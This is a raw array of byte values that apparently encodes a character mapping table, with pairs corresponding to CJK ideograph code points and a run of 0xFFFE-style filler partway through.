81,84,199,102,13,146,72,89,163,144,133,81,77,78,234,81,
153,133,14,139,88,112,122,99,75,147,98,105,180,153,4,126,
119,117,87,83,96,105,223,142,227,150,93,108,140,78,60,92,
16,95,233,143,2,83,209,140,137,128,121,134,255,94,229,101,
115,78,101,81,130,89,63,92,238,151,251,78,138,89,205,95,
141,138,225,111,176,121,98,121,231,91,113,132,43,115,177,113,
116,94,245,95,123,99,154,100,195,113,152,124,67,78,252,94,
75,78,220,87,162,86,169,96,195,111,13,125,253,128,51,129,
191,129,178,143,151,137,164,134,244,93,138,98,173,100,135,137,
119,103,226,108,62,109,54,116,52,120,70,90,117,127,173,130,
172,153,243,79,195,94,221,98,146,99,87,101,111,103,195,118,
76,114,204,128,186,128,41,143,77,145,13,80,249,87,146,90,
133,104,115,105,100,113,253,114,183,140,242,88,224,140,106,150,
25,144,127,135,228,121,231,119,41,132,47,79,101,82,90,83,
205,98,207,103,202,108,125,118,148,123,149,124,54,130,132,133,
235,143,221,102,32,111,6,114,27,126,171,131,193,153,166,158,
253,81,177,123,114,120,184,123,135,128,72,123,232,106,97,94,
140,128,81,117,96,117,107,81,98,146,140,110,122,118,151,145,
234,154,16,79,112,127,156,98,79,123,165,149,233,156,122,86,
89,88,228,134,188,150,52,79,36,82,74,83,205,83,219,83,
6,94,44,100,145,101,127,103,62,108,78,108,72,114,175,114,
237,115,84,117,65,126,44,130,233,133,169,140,196,123,198,145,
105,113,18,152,239,152,61,99,105,102,106,117,228,118,208,120,
67,133,238,134,42,83,81,83,38,84,131,89,135,94,124,95,
178,96,73,98,121,98,171,98,144,101,212,107,204,108,178,117,
174,118,145,120,216,121,203,125,119,127,165,128,171,136,185,138,
187,140,127,144,94,151,219,152,11,106,56,124,153,80,62,92,
174,95,135,103,216,107,53,116,9,119,142,127,59,159,202,103,
23,122,57,83,139,117,237,154,102,95,157,129,241,131,152,128,
60,95,197,95,98,117,70,123,60,144,103,104,235,89,155,90,
16,125,126,118,44,139,245,79,106,95,25,106,55,108,2,111,
226,116,104,121,104,136,85,138,121,140,223,94,207,99,197,117,
210,121,215,130,40,147,242,146,156,132,237,134,45,156,193,84,
108,95,140,101,92,109,21,112,167,140,211,140,59,152,79,101,
246,116,13,78,216,78,224,87,43,89,102,90,204,91,168,81,
3,94,156,94,22,96,118,98,119,101,167,101,110,102,110,109,
54,114,38,123,80,129,154,129,153,130,92,139,160,140,230,140,
116,141,28,150,68,150,174,79,171,100,102,107,30,130,97,132,
106,133,232,144,1,92,83,105,168,152,122,132,87,133,15,79,
111,82,169,95,69,94,13,103,143,121,121,129,7,137,134,137,
245,109,23,95,85,98,184,108,207,78,105,114,146,155,6,82,
59,84,116,86,179,88,164,97,110,98,26,113,110,89,137,124,
222,124,27,125,240,150,135,101,94,128,25,78,117,79,117,81,
64,88,99,94,115,94,10,95,196,103,38,78,61,133,137,149,
91,150,115,124,1,152,251,80,193,88,86,118,167,120,37,82,
165,119,17,133,134,123,79,80,9,89,71,114,199,123,232,125,
186,143,212,143,77,144,191,79,201,82,41,90,1,95,173,151,
221,79,23,130,234,146,3,87,85,99,105,107,43,117,220,136,
20,143,66,122,223,82,147,88,85,97,10,98,174,102,205,107,
63,124,233,131,35,80,248,79,5,83,70,84,49,88,73,89,
157,91,240,92,239,92,41,93,150,94,177,98,103,99,62,101,
185,101,11,103,213,108,225,108,249,112,50,120,43,126,222,128,
179,130,12,132,236,132,2,135,18,137,42,138,74,140,166,144,
210,146,253,152,243,156,108,157,79,78,161,78,141,80,86,82,
74,87,168,89,61,94,216,95,217,95,63,98,180,102,27,103,
208,103,210,104,146,81,33,125,170,128,168,129,0,139,140,140,
191,140,126,146,50,150,32,84,44,152,23,83,213,80,92,83,
168,88,178,100,52,103,103,114,102,119,70,122,230,145,195,82,
161,108,134,107,0,88,76,94,84,89,44,103,251,127,225,81,
198,118,105,100,232,120,84,155,187,158,203,87,185,89,39,102,
154,103,206,107,233,84,217,105,85,94,156,129,149,103,170,155,
254,103,82,156,93,104,166,78,227,79,200,83,185,98,43,103,
171,108,196,143,173,79,109,126,191,158,7,78,98,97,128,110,
43,111,19,133,115,84,42,103,69,155,243,93,149,123,172,92,
198,91,28,135,74,110,209,132,20,122,8,129,153,89,141,124,
17,108,32,119,217,82,34,89,33,113,95,114,219,119,39,151,
97,157,11,105,127,90,24,90,165,81,13,84,125,84,14,102,
223,118,247,143,152,146,244,156,234,89,93,114,197,110,77,81,
201,104,191,125,236,125,98,151,186,158,120,100,33,106,2,131,
132,89,95,91,219,107,27,115,242,118,178,125,23,128,153,132,
50,81,40,103,217,158,238,118,98,103,255,82,5,153,36,92,
59,98,126,124,176,140,79,85,182,96,11,125,128,149,1,83,
95,78,182,81,28,89,58,114,54,128,206,145,37,95,226,119,
132,83,121,95,4,125,172,133,51,138,141,142,86,151,243,103,
174,133,83,148,9,97,8,97,185,108,82,118,237,138,56,143,
47,85,81,79,42,81,199,82,203,83,165,91,125,94,160,96,
130,97,214,99,9,103,218,103,103,110,140,109,54,115,55,115,
49,117,80,121,213,136,152,138,74,144,145,144,245,144,196,150,
141,135,21,89,136,78,89,79,14,78,137,138,63,143,16,152,
173,80,124,94,150,89,185,91,184,94,218,99,250,99,193,100,
220,102,74,105,216,105,11,109,182,110,148,113,40,117,175,122,
138,127,0,128,73,132,201,132,129,137,33,139,10,142,101,144,
125,150,10,153,126,97,145,98,50,107,131,108,116,109,204,127,
252,127,192,109,133,127,186,135,248,136,101,103,177,131,60,152,
247,150,27,109,97,125,61,132,106,145,113,78,117,83,80,93,
4,107,235,111,205,133,45,134,167,137,41,82,15,84,101,92,
78,103,168,104,6,116,131,116,226,117,207,136,225,136,204,145,
226,150,120,150,139,95,135,115,203,122,78,132,160,99,101,117,
137,82,65,109,156,110,9,116,89,117,107,120,146,124,134,150,
220,122,141,159,182,79,110,97,197,101,92,134,134,78,174,78,
218,80,33,78,204,81,238,91,153,101,129,104,188,109,31,115,
66,118,173,119,28,122,231,124,111,130,210,138,124,144,207,145,
117,150,24,152,155,82,209,125,43,80,152,83,151,103,203,109,
208,113,51,116,232,129,42,143,163,150,87,156,159,158,96,116,
65,88,153,109,47,125,94,152,228,78,54,79,139,79,183,81,
177,82,186,93,28,96,178,115,60,121,211,130,52,146,183,150,
246,150,10,151,151,158,98,159,166,102,116,107,23,82,163,82,
200,112,194,136,201,94,75,96,144,97,35,111,73,113,62,124,
244,125,111,128,238,132,35,144,44,147,66,84,111,155,211,106,
137,112,194,140,239,141,50,151,180,82,65,90,202,94,4,95,
23,103,124,105,148,105,106,109,15,111,98,114,252,114,237,123,
1,128,126,128,75,135,206,144,109,81,147,158,132,121,139,128,
50,147,214,138,45,80,140,84,113,138,106,107,196,140,7,129,
209,96,160,103,242,157,153,78,152,78,16,156,107,138,193,133,
104,133,0,105,126,110,151,120,85,129,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
12,95,16,78,21,78,42,78,49,78,54,78,60,78,63,78,
66,78,86,78,88,78,130,78,133,78,107,140,138,78,18,130,
13,95,142,78,158,78,159,78,160,78,162,78,176,78,179,78,
182,78,206,78,205,78,196,78,198,78,194,78,215,78,222,78,
237,78,223,78,247,78,9,79,90,79,48,79,91,79,93,79,
87,79,71,79,118,79,136,79,143,79,152,79,123,79,105,79,
112,79,145,79,111,79,134,79,150,79,24,81,212,79,223,79,
206,79,216,79,219,79,209,79,218,79,208,79,228,79,229,79,
26,80,40,80,20,80,42,80,37,80,5,80,28,79,246,79,
33,80,41,80,44,80,254,79,239,79,17,80,6,80,67,80,
71,80,3,103,85,80,80,80,72,80,90,80,86,80,108,80,
120,80,128,80,154,80,133,80,180,80,178,80,201,80,202,80,
179,80,194,80,214,80,222,80,229,80,237,80,227,80,238,80,
249,80,245,80,9,81,1,81,2,81,22,81,21,81,20,81,
26,81,33,81,58,81,55,81,60,81,59,81,63,81,64,81,
82,81,76,81,84,81,98,81,248,122,105,81,106,81,110,81,
128,81,130,81,216,86,140,81,137,81,143,81,145,81,147,81,
149,81,150,81,164,81,166,81,162,81,169,81,170,81,171,81,
179,81,177,81,178,81,176,81,181,81,189,81,197,81,201,81,
219,81,224,81,85,134,233,81,237,81,240,81,245,81,254,81,
4,82,11,82,20,82,14,82,39,82,42,82,46,82,51,82,
57,82,79,82,68,82,75,82,76,82,94,82,84,82,106,82,
116,82,105,82,115,82,127,82,125,82,141,82,148,82,146,82,
113,82,136,82,145,82,168,143,167,143,172,82,173,82,188,82,
181,82,193,82,205,82,215,82,222,82,227,82,230,82,237,152,
224,82,243,82,245,82,248,82,249,82,6,83,8,83,56,117,
13,83,16,83,15,83,21,83,26,83,35,83,47,83,49,83,
51,83,56,83,64,83,70,83,69,83,23,78,73,83,77,83,
214,81,94,83,105,83,110,83,24,89,123,83,119,83,130,83,
150,83,160,83,166,83,165,83,174,83,176,83,182,83,195,83,
18,124,217,150,223,83,252,102,238,113,238,83,232,83,237,83,
250,83,1,84,61,84,64,84,44,84,45,84,60,84,46,84,
54,84,41,84,29,84,78,84,143,84,117,84,142,84,95,84,
113,84,119,84,112,84,146,84,123,84,128,84,118,84,132,84,
144,84,134,84,199,84,162,84,184,84,165,84,172,84,196,84,
200,84,168,84,171,84,194,84,164,84,190,84,188,84,216,84,
229,84,230,84,15,85,20,85,253,84,238,84,237,84,250,84,
226,84,57,85,64,85,99,85,76,85,46,85,92,85,69,85,
86,85,87,85,56,85,51,85,93,85,153,85,128,85,175,84,
138,85,159,85,123,85,126,85,152,85,158,85,174,85,124,85,
131,85,169,85,135,85,168,85,218,85,197,85,223,85,196,85,
220,85,228,85,212,85,20,86,247,85,22,86,254,85,253,85,
27,86,249,85,78,86,80,86,223,113,52,86,54,86,50,86,
56,86,107,86,100,86,47,86,108,86,106,86,134,86,128,86,
138,86,160,86,148,86,143,86,165,86,174,86,182,86,180,86,
194,86,188,86,193,86,195,86,192,86,200,86,206,86,209,86,
211,86,215,86,238,86,249,86,0,87,255,86,4,87,9,87,
8,87,11,87,13,87,19,87,24,87,22,87,199,85,28,87,
38,87,55,87,56,87,78,87,59,87,64,87,79,87,105,87,
192,87,136,87,97,87,127,87,137,87,147,87,160,87,179,87,
164,87,170,87,176,87,195,87,198,87,212,87,210,87,211,87,
10,88,214,87,227,87,11,88,25,88,29,88,114,88,33,88,
98,88,75,88,112,88,192,107,82,88,61,88,121,88,133,88,
185,88,159,88,171,88,186,88,222,88,187,88,184,88,174,88,
197,88,211,88,209,88,215,88,217,88,216,88,229,88,220,88,
228,88,223,88,239,88,250,88,249,88,251,88,252,88,253,88,
2,89,10,89,16,89,27,89,166,104,37,89,44,89,45,89,
50,89,56,89,62,89,210,122,85,89,80,89,78,89,90,89,
88,89,98,89,96,89,103,89,108,89,105,89,120,89,129,89,
157,89,94,79,171,79,163,89,178,89,198,89,232,89,220,89,
141,89,217,89,218,89,37,90,31,90,17,90,28,90,9,90,
26,90,64,90,108,90,73,90,53,90,54,90,98,90,106,90,
154,90,188,90,190,90,203,90,194,90,189,90,227,90,215,90,
230,90,233,90,214,90,250,90,251,90,12,91,11,91,22,91,
50,91,208,90,42,91,54,91,62,91,67,91,69,91,64,91,
81,91,85,91,90,91,91,91,101,91,105,91,112,91,115,91,
117,91,120,91,136,101,122,91,128,91,131,91,166,91,184,91,
195,91,199,91,201,91,212,91,208,91,228,91,230,91,226,91,
222,91,229,91,235,91,240,91,246,91,243,91,5,92,7,92,
8,92,13,92,19,92,32,92,34,92,40,92,56,92,57,92,
65,92,70,92,78,92,83,92,80,92,79,92,113,91,108,92,
110,92,98,78,118,92,121,92,140,92,145,92,148,92,155,89,
171,92,187,92,182,92,188,92,183,92,197,92,190,92,199,92,
217,92,233,92,253,92,250,92,237,92,140,93,234,92,11,93,
21,93,23,93,92,93,31,93,27,93,17,93,20,93,34,93,
26,93,25,93,24,93,76,93,82,93,78,93,75,93,108,93,
115,93,118,93,135,93,132,93,130,93,162,93,157,93,172,93,
174,93,189,93,144,93,183,93,188,93,201,93,205,93,211,93,
210,93,214,93,219,93,235,93,242,93,245,93,11,94,26,94,
25,94,17,94,27,94,54,94,55,94,68,94,67,94,64,94,
78,94,87,94,84,94,95,94,98,94,100,94,71,94,117,94,
118,94,122,94,188,158,127,94,160,94,193,94,194,94,200,94,
208,94,207,94,214,94,227,94,221,94,218,94,219,94,226,94,
225,94,232,94,233,94,236,94,241,94,243,94,240,94,244,94,
248,94,254,94,3,95,9,95,93,95,92,95,11,95,17,95,
22,95,41,95,45,95,56,95,65,95,72,95,76,95,78,95,
47,95,81,95,86,95,87,95,89,95,97,95,109,95,115,95,
119,95,131,95,130,95,127,95,138,95,136,95,145,95,135,95,
158,95,153,95,152,95,160,95,168,95,173,95,188,95,214,95,
251,95,228,95,248,95,241,95,221,95,179,96,255,95,33,96,
96,96,25,96,16,96,41,96,14,96,49,96,27,96,21,96,
43,96,38,96,15,96,58,96,90,96,65,96,106,96,119,96,
95,96,74,96,70,96,77,96,99,96,67,96,100,96,66,96,
108,96,107,96,89,96,129,96,141,96,231,96,131,96,154,96,
132,96,155,96,150,96,151,96,146,96,167,96,139,96,225,96,
184,96,224,96,211,96,180,96,240,95,189,96,198,96,181,96,
216,96,77,97,21,97,6,97,246,96,247,96,0,97,244,96,
250,96,3,97,33,97,251,96,241,96,13,97,14,97,71,97,
62,97,40,97,39,97,74,97,63,97,60,97,44,97,52,97,
61,97,66,97,68,97,115,97,119,97,88,97,89,97,90,97,
107,97,116,97,111,97,101,97,113,97,95,97,93,97,83,97,
117,97,153,97,150,97,135,97,172,97,148,97,154,97,138,97,
145,97,171,97,174,97,204,97,202,97,201,97,247,97,200,97,
195,97,198,97,186,97,203,97,121,127,205,97,230,97,227,97,
246,97,250,97,244,97,255,97,253,97,252,97,254,97,0,98,
8,98,9,98,13,98,12,98,20,98,27,98,30,98,33,98,
42,98,46,98,48,98,50,98,51,98,65,98,78,98,94,98,
99,98,91,98,96,98,104,98,124,98,130,98,137,98,126,98,
146,98,147,98,150,98,212,98,131,98,148,98,215,98,209,98,
187,98,207,98,255,98,198,98,212,100,200,98,220,98,204,98,
202,98,194,98,199,98,155,98,201,98,12,99,238,98,241,98,
39,99,2,99,8,99,239,98,245,98,80,99,62,99,77,99,
28,100,79,99,150,99,142,99,128,99,171,99,118,99,163,99,
143,99,137,99,159,99,181,99,107,99,105,99,190,99,233,99,
192,99,198,99,227,99,201,99,210,99,246,99,196,99,22,100,
52,100,6,100,19,100,38,100,54,100,29,101,23,100,40,100,
15,100,103,100,111,100,118,100,78,100,42,101,149,100,147,100,
165,100,169,100,136,100,188,100,218,100,210,100,197,100,199,100,
187,100,216,100,194,100,241,100,231,100,9,130,224,100,225,100,
172,98,227,100,239,100,44,101,246,100,244,100,242,100,250,100,
0,101,253,100,24,101,28,101,5,101,36,101,35,101,43,101,
52,101,53,101,55,101,54,101,56,101,75,117,72,101,86,101,
85,101,77,101,88,101,94,101,93,101,114,101,120,101,130,101,
131,101,138,139,155,101,159,101,171,101,183,101,195,101,198,101,
193,101,196,101,204,101,210,101,219,101,217,101,224,101,225,101,
241,101,114,103,10,102,3,102,251,101,115,103,53,102,54,102,
52,102,28,102,79,102,68,102,73,102,65,102,94,102,93,102,
100,102,103,102,104,102,95,102,98,102,112,102,131,102,136,102,
142,102,137,102,132,102,152,102,157,102,193,102,185,102,201,102,
190,102,188,102,196,102,184,102,214,102,218,102,224,102,63,102,
230,102,233,102,240,102,245,102,247,102,15,103,22,103,30,103,
38,103,39,103,56,151,46,103,63,103,54,103,65,103,56,103,
55,103,70,103,94,103,96,103,89,103,99,103,100,103,137,103,
112,103,169,103,124,103,106,103,140,103,139,103,166,103,161,103,
133,103,183,103,239,103,180,103,236,103,179,103,233,103,184,103,
228,103,222,103,221,103,226,103,238,103,185,103,206,103,198,103,
231,103,156,106,30,104,70,104,41,104,64,104,77,104,50,104,
78,104,179,104,43,104,89,104,99,104,119,104,127,104,159,104,
143,104,173,104,148,104,157,104,155,104,131,104,174,106,185,104,
116,104,181,104,160,104,186,104,15,105,141,104,126,104,1,105,
202,104,8,105,216,104,34,105,38,105,225,104,12,105,205,104,
212,104,231,104,213,104,54,105,18,105,4,105,215,104,227,104,
37,105,249,104,224,104,239,104,40,105,42,105,26,105,35,105,
33,105,198,104,121,105,119,105,92,105,120,105,107,105,84,105,
126,105,110,105,57,105,116,105,61,105,89,105,48,105,97,105,
94,105,93,105,129,105,106,105,178,105,174,105,208,105,191,105,
193,105,211,105,190,105,206,105,232,91,202,105,221,105,187,105,
195,105,167,105,46,106,145,105,160,105,156,105,149,105,180,105,
222,105,232,105,2,106,27,106,255,105,10,107,249,105,242,105,
231,105,5,106,177,105,30,106,237,105,20,106,235,105,10,106,
18,106,193,106,35,106,19,106,68,106,12,106,114,106,54,106,
120,106,71,106,98,106,89,106,102,106,72,106,56,106,34,106,
144,106,141,106,160,106,132,106,162,106,163,106,151,106,23,134,
187,106,195,106,194,106,184,106,179,106,172,106,222,106,209,106,
223,106,170,106,218,106,234,106,251,106,5,107,22,134,250,106,
18,107,22,107,49,155,31,107,56,107,55,107,220,118,57,107,
238,152,71,107,67,107,73,107,80,107,89,107,84,107,91,107,
95,107,97,107,120,107,121,107,127,107,128,107,132,107,131,107,
141,107,152,107,149,107,158,107,164,107,170,107,171,107,175,107,
178,107,177,107,179,107,183,107,188,107,198,107,203,107,211,107,
223,107,236,107,235,107,243,107,239,107,190,158,8,108,19,108,
20,108,27,108,36,108,35,108,94,108,85,108,98,108,106,108,
130,108,141,108,154,108,129,108,155,108,126,108,104,108,115,108,
146,108,144,108,196,108,241,108,211,108,189,108,215,108,197,108,
221,108,174,108,177,108,190,108,186,108,219,108,239,108,217,108,
234,108,31,109,77,136,54,109,43,109,61,109,56,109,25,109,
53,109,51,109,18,109,12,109,99,109,147,109,100,109,90,109,
121,109,89,109,142,109,149,109,228,111,133,109,249,109,21,110,
10,110,181,109,199,109,230,109,184,109,198,109,236,109,222,109,
204,109,232,109,210,109,197,109,250,109,217,109,228,109,213,109,
234,109,238,109,45,110,110,110,46,110,25,110,114,110,95,110,
62,110,35,110,107,110,43,110,118,110,77,110,31,110,67,110,
58,110,78,110,36,110,255,110,29,110,56,110,130,110,170,110,
152,110,201,110,183,110,211,110,189,110,175,110,196,110,178,110,
212,110,213,110,143,110,165,110,194,110,159,110,65,111,17,111,
76,112,236,110,248,110,254,110,63,111,242,110,49,111,239,110,
50,111,204,110,62,111,19,111,247,110,134,111,122,111,120,111,
129,111,128,111,111,111,91,111,243,111,109,111,130,111,124,111,
88,111,142,111,145,111,194,111,102,111,179,111,163,111,161,111,
164,111,185,111,198,111,170,111,223,111,213,111,236,111,212,111,
216,111,241,111,238,111,219,111,9,112,11,112,250,111,17,112,
1,112,15,112,254,111,27,112,26,112,116,111,29,112,24,112,
31,112,48,112,62,112,50,112,81,112,99,112,153,112,146,112,
175,112,241,112,172,112,184,112,179,112,174,112,223,112,203,112,
221,112,217,112,9,113,253,112,28,113,25,113,101,113,85,113,
136,113,102,113,98,113,76,113,86,113,108,113,143,113,251,113,
132,113,149,113,168,113,172,113,215,113,185,113,190,113,210,113,
201,113,212,113,206,113,224,113,236,113,231,113,245,113,252,113,
249,113,255,113,13,114,16,114,27,114,40,114,45,114,44,114,
48,114,50,114,59,114,60,114,63,114,64,114,70,114,75,114,
88,114,116,114,126,114,130,114,129,114,135,114,146,114,150,114,
162,114,167,114,185,114,178,114,195,114,198,114,196,114,206,114,
210,114,226,114,224,114,225,114,249,114,247,114,15,80,23,115,
10,115,28,115,22,115,29,115,52,115,47,115,41,115,37,115,
62,115,78,115,79,115,216,158,87,115,106,115,104,115,112,115,
120,115,117,115,123,115,122,115,200,115,179,115,206,115,187,115,
192,115,229,115,238,115,222,115,162,116,5,116,111,116,37,116,
248,115,50,116,58,116,85,116,63,116,95,116,89,116,65,116,
92,116,105,116,112,116,99,116,106,116,118,116,126,116,139,116,
158,116,167,116,202,116,207,116,212,116,241,115,224,116,227,116,
231,116,233,116,238,116,242,116,240,116,241,116,248,116,247,116,
4,117,3,117,5,117,12,117,14,117,13,117,21,117,19,117,
30,117,38,117,44,117,60,117,68,117,77,117,74,117,73,117,
91,117,70,117,90,117,105,117,100,117,103,117,107,117,109,117,
120,117,118,117,134,117,135,117,116,117,138,117,137,117,130,117,
148,117,154,117,157,117,165,117,163,117,194,117,179,117,195,117,
181,117,189,117,184,117,188,117,177,117,205,117,202,117,210,117,
217,117,227,117,222,117,254,117,255,117,252,117,1,118,240,117,
250,117,242,117,243,117,11,118,13,118,9,118,31,118,39,118,
32,118,33,118,34,118,36,118,52,118,48,118,59,118,71,118,
72,118,70,118,92,118,88,118,97,118,98,118,104,118,105,118,
106,118,103,118,108,118,112,118,114,118,118,118,120,118,124,118,
128,118,131,118,136,118,139,118,142,118,150,118,147,118,153,118,
154,118,176,118,180,118,184,118,185,118,186,118,194,118,205,118,
214,118,210,118,222,118,225,118,229,118,231,118,234,118,47,134,
251,118,8,119,7,119,4,119,41,119,36,119,30,119,37,119,
38,119,27,119,55,119,56,119,71,119,90,119,104,119,107,119,
91,119,101,119,127,119,126,119,121,119,142,119,139,119,145,119,
160,119,158,119,176,119,182,119,185,119,191,119,188,119,189,119,
187,119,199,119,205,119,215,119,218,119,220,119,227,119,238,119,
252,119,12,120,18,120,38,121,32,120,42,121,69,120,142,120,
116,120,134,120,124,120,154,120,140,120,163,120,181,120,170,120,
175,120,209,120,198,120,203,120,212,120,190,120,188,120,197,120,
202,120,236,120,231,120,218,120,253,120,244,120,7,121,18,121,
17,121,25,121,44,121,43,121,64,121,96,121,87,121,95,121,
90,121,85,121,83,121,122,121,127,121,138,121,157,121,167,121,
75,159,170,121,174,121,179,121,185,121,186,121,201,121,213,121,
231,121,236,121,225,121,227,121,8,122,13,122,24,122,25,122,
32,122,31,122,128,121,49,122,59,122,62,122,55,122,67,122,
87,122,73,122,97,122,98,122,105,122,157,159,112,122,121,122,
125,122,136,122,151,122,149,122,152,122,150,122,169,122,200,122,
176,122,182,122,197,122,196,122,191,122,131,144,199,122,202,122,
205,122,207,122,213,122,211,122,217,122,218,122,221,122,225,122,
226,122,230,122,237,122,240,122,2,123,15,123,10,123,6,123,
51,123,24,123,25,123,30,123,53,123,40,123,54,123,80,123,
122,123,4,123,77,123,11,123,76,123,69,123,117,123,101,123,
116,123,103,123,112,123,113,123,108,123,110,123,157,123,152,123,
159,123,141,123,156,123,154,123,139,123,146,123,143,123,93,123,
153,123,203,123,193,123,204,123,207,123,180,123,198,123,221,123,
233,123,17,124,20,124,230,123,229,123,96,124,0,124,7,124,
19,124,243,123,247,123,23,124,13,124,246,123,35,124,39,124,
42,124,31,124,55,124,43,124,61,124,76,124,67,124,84,124,
79,124,64,124,80,124,88,124,95,124,100,124,86,124,101,124,
108,124,117,124,131,124,144,124,164,124,173,124,162,124,171,124,
161,124,168,124,179,124,178,124,177,124,174,124,185,124,189,124,
192,124,197,124,194,124,216,124,210,124,220,124,226,124,59,155,
239,124,242,124,244,124,246,124,250,124,6,125,2,125,28,125,
21,125,10,125,69,125,75,125,46,125,50,125,63,125,53,125,
70,125,115,125,86,125,78,125,114,125,104,125,110,125,79,125,
99,125,147,125,137,125,91,125,143,125,125,125,155,125,186,125,
174,125,163,125,181,125,199,125,189,125,171,125,61,126,162,125,
175,125,220,125,184,125,159,125,176,125,216,125,221,125,228,125,
222,125,251,125,242,125,225,125,5,126,10,126,35,126,33,126,
18,126,49,126,31,126,9,126,11,126,34,126,70,126,102,126,
59,126,53,126,57,126,67,126,55,126,50,126,58,126,103,126,
93,126,86,126,94,126,89,126,90,126,121,126,106,126,105,126,
124,126,123,126,131,126,213,125,125,126,174,143,127,126,136,126,
137,126,140,126,146,126,144,126,147,126,148,126,150,126,142,126,
155,126,156,126,56,127,58,127,69,127,76,127,77,127,78,127,
80,127,81,127,85,127,84,127,88,127,95,127,96,127,104,127,
105,127,103,127,120,127,130,127,134,127,131,127,136,127,135,127,
140,127,148,127,158,127,157,127,154,127,163,127,175,127,178,127,
185,127,174,127,182,127,184,127,113,139,197,127,198,127,202,127,
213,127,212,127,225,127,230,127,233,127,243,127,249,127,220,152,
6,128,4,128,11,128,18,128,24,128,25,128,28,128,33,128,
40,128,63,128,59,128,74,128,70,128,82,128,88,128,90,128,
95,128,98,128,104,128,115,128,114,128,112,128,118,128,121,128,
125,128,127,128,132,128,134,128,133,128,155,128,147,128,154,128,
173,128,144,81,172,128,219,128,229,128,217,128,221,128,196,128,
218,128,214,128,9,129,239,128,241,128,27,129,41,129,35,129,
47,129,75,129,139,150,70,129,62,129,83,129,81,129,252,128,
113,129,110,129,101,129,102,129,116,129,131,129,136,129,138,129,
128,129,130,129,160,129,149,129,164,129,163,129,95,129,147,129,
169,129,176,129,181,129,190,129,184,129,189,129,192,129,194,129,
186,129,201,129,205,129,209,129,217,129,216,129,200,129,218,129,
223,129,224,129,231,129,250,129,251,129,254,129,1,130,2,130,
5,130,7,130,10,130,13,130,16,130,22,130,41,130,43,130,
56,130,51,130,64,130,89,130,88,130,93,130,90,130,95,130,
100,130,98,130,104,130,106,130,107,130,46,130,113,130,119,130,
120,130,126,130,141,130,146,130,171,130,159,130,187,130,172,130,
225,130,227,130,223,130,210,130,244,130,243,130,250,130,147,131,
3,131,251,130,249,130,222,130,6,131,220,130,9,131,217,130,
53,131,52,131,22,131,50,131,49,131,64,131,57,131,80,131,
69,131,47,131,43,131,23,131,24,131,133,131,154,131,170,131,
159,131,162,131,150,131,35,131,142,131,135,131,138,131,124,131,
181,131,115,131,117,131,160,131,137,131,168,131,244,131,19,132,
235,131,206,131,253,131,3,132,216,131,11,132,193,131,247,131,
7,132,224,131,242,131,13,132,34,132,32,132,189,131,56,132,
6,133,251,131,109,132,42,132,60,132,90,133,132,132,119,132,
107,132,173,132,110,132,130,132,105,132,70,132,44,132,111,132,
121,132,53,132,202,132,98,132,185,132,191,132,159,132,217,132,
205,132,187,132,218,132,208,132,193,132,198,132,214,132,161,132,
33,133,255,132,244,132,23,133,24,133,44,133,31,133,21,133,
20,133,252,132,64,133,99,133,88,133,72,133,65,133,2,134,
75,133,85,133,128,133,164,133,136,133,145,133,138,133,168,133,
109,133,148,133,155,133,234,133,135,133,156,133,119,133,126,133,
144,133,201,133,186,133,207,133,185,133,208,133,213,133,221,133,
229,133,220,133,249,133,10,134,19,134,11,134,254,133,250,133,
6,134,34,134,26,134,48,134,63,134,77,134,85,78,84,134,
95,134,103,134,113,134,147,134,163,134,169,134,170,134,139,134,
140,134,182,134,175,134,196,134,198,134,176,134,201,134,35,136,
171,134,212,134,222,134,233,134,236,134,223,134,219,134,239,134,
18,135,6,135,8,135,0,135,3,135,251,134,17,135,9,135,
13,135,249,134,10,135,52,135,63,135,55,135,59,135,37,135,
41,135,26,135,96,135,95,135,120,135,76,135,78,135,116,135,
87,135,104,135,110,135,89,135,83,135,99,135,106,135,5,136,
162,135,159,135,130,135,175,135,203,135,189,135,192,135,208,135,
214,150,171,135,196,135,179,135,199,135,198,135,187,135,239,135,
242,135,224,135,15,136,13,136,254,135,246,135,247,135,14,136,
210,135,17,136,22,136,21,136,34,136,33,136,49,136,54,136,
57,136,39,136,59,136,68,136,66,136,82,136,89,136,94,136,
98,136,107,136,129,136,126,136,158,136,117,136,125,136,181,136,
114,136,130,136,151,136,146,136,174,136,153,136,162,136,141,136,
164,136,176,136,191,136,177,136,195,136,196,136,212,136,216,136,
217,136,221,136,249,136,2,137,252,136,244,136,232,136,242,136,
4,137,12,137,10,137,19,137,67,137,30,137,37,137,42,137,
43,137,65,137,68,137,59,137,54,137,56,137,76,137,29,137,
96,137,94,137,102,137,100,137,109,137,106,137,111,137,116,137,
119,137,126,137,131,137,136,137,138,137,147,137,152,137,161,137,
169,137,166,137,172,137,175,137,178,137,186,137,189,137,191,137,
192,137,218,137,220,137,221,137,231,137,244,137,248,137,3,138,
22,138,16,138,12,138,27,138,29,138,37,138,54,138,65,138,
91,138,82,138,70,138,72,138,124,138,109,138,108,138,98,138,
133,138,130,138,132,138,168,138,161,138,145,138,165,138,166,138,
154,138,163,138,196,138,205,138,194,138,218,138,235,138,243,138,
231,138,228,138,241,138,20,139,224,138,226,138,247,138,222,138,
219,138,12,139,7,139,26,139,225,138,22,139,16,139,23,139,
32,139,51,139,171,151,38,139,43,139,62,139,40,139,65,139,
76,139,79,139,78,139,73,139,86,139,91,139,90,139,107,139,
95,139,108,139,111,139,116,139,125,139,128,139,140,139,142,139,
146,139,147,139,150,139,153,139,154,139,58,140,65,140,63,140,
72,140,76,140,78,140,80,140,85,140,98,140,108,140,120,140,
122,140,130,140,137,140,133,140,138,140,141,140,142,140,148,140,
124,140,152,140,29,98,173,140,170,140,189,140,178,140,179,140,
174,140,182,140,200,140,193,140,228,140,227,140,218,140,253,140,
250,140,251,140,4,141,5,141,10,141,7,141,15,141,13,141,
16,141,78,159,19,141,205,140,20,141,22,141,103,141,109,141,
113,141,115,141,129,141,153,141,194,141,190,141,186,141,207,141,
218,141,214,141,204,141,219,141,203,141,234,141,235,141,223,141,
227,141,252,141,8,142,9,142,255,141,29,142,30,142,16,142,
31,142,66,142,53,142,48,142,52,142,74,142,71,142,73,142,
76,142,80,142,72,142,89,142,100,142,96,142,42,142,99,142,
85,142,118,142,114,142,124,142,129,142,135,142,133,142,132,142,
139,142,138,142,147,142,145,142,148,142,153,142,170,142,161,142,
